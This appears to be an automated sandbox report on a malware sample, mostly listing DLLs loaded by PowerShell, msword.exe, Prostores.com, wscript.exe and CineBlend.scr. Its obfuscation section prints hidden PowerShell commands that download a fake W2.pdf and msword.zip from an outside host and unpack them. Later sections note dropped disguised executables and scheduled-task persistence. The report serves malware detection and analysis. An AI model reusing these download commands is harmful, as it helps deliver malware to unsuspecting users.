Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comSection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dll
Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: version.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: version.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior

Data Obfuscation

barindex
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,15_2_00406328
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B50DE6 push ecx; ret 36_2_00B50DF9
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006202D8 push cs; retn 0061h38_2_00620318
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F0DE6 push ecx; ret 38_2_005F0DF9
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005EDC7C push AA0062CFh; iretd 38_2_005EDC87

Persistence and Installation Behavior

barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comFile created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\677826\Prostores.comJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comFile created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\677826\Prostores.comJump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\msword\msword.exeJump to dropped file

Boot Survival

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
